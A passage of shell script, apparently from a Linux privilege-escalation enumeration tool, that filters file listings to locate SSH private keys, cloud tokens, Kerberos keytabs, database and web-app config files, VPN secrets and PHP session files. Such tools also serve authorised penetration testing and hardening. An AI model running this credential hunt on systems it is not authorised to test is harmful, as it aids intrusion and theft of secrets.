PSTORAGE_SYSTEMD=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/systemd|^/cdrom|^/opt|^/media|^/private|^/tmp|^/usr|^/lib|^/lib64|^/srv|^/snap|^/sys|^/var|^/applications|^/.cache|^/bin|^/sbin|^/lib32|^/system|^/mnt|^$GREPHOMESEARCH|^/etc|^/run" | grep -E ".*\.service$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_TIMER=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/systemd|^/cdrom|^/opt|^/media|^/private|^/tmp|^/usr|^/lib|^/lib64|^/srv|^/snap|^/sys|^/var|^/applications|^/.cache|^/bin|^/sbin|^/lib32|^/system|^/mnt|^$GREPHOMESEARCH|^/etc|^/run" | grep -E ".*\.timer$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SOCKET=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/systemd|^/cdrom|^/opt|^/media|^/private|^/tmp|^/usr|^/lib|^/lib64|^/srv|^/snap|^/sys|^/var|^/applications|^/.cache|^/bin|^/sbin|^/lib32|^/system|^/mnt|^$GREPHOMESEARCH|^/etc|^/run" | grep -E ".*\.socket$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_DBUS=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/etc" | grep -E "system\.d$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_MYSQL=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "mysql$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_MARIADB=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "mariadb\.cnf$|debian\.cnf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_POSTGRESQL=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_APACHE=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32\n$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "sites-enabled$|000-default\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_PHP_SESSIONS=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^/private|^/mnt|^/tmp|^/var" | grep -E "sess_.*$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_PHP_FILES=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_WORDPRESS=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "wp-config\.php$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_DRUPAL=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E '/default/settings.php' | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "settings\.php$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_MOODLE=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E 'moodle/config.php' | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "config\.php$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_TOMCAT=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_MONGO=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SUPERVISORD=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CESI=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "cesi\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_RSYNC=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_HOSTAPD=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_RACOON=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "racoon\.conf$|psk\.txt$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_VNC=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32\n$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_LDAP=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "ldap$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_OPENVPN=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SSH=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CERTSB4=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib.*' | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CERTSBIN=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/tmp" | grep -E "agent.*$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/usr|^$GREPHOMESEARCH" | grep -E "ssh.*config$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32\n$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "credentials$|credentials\.db$|legacy_credentials\.db$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|\.bluemix$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_KERBEROS=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "krb5\.conf$|krb5\.keytab$|\.k5login$|kadm5\.acl$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_KIBANA=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_KNOCKD=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E '/etc/init.d/' | grep -E "^/etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70)
|
||||
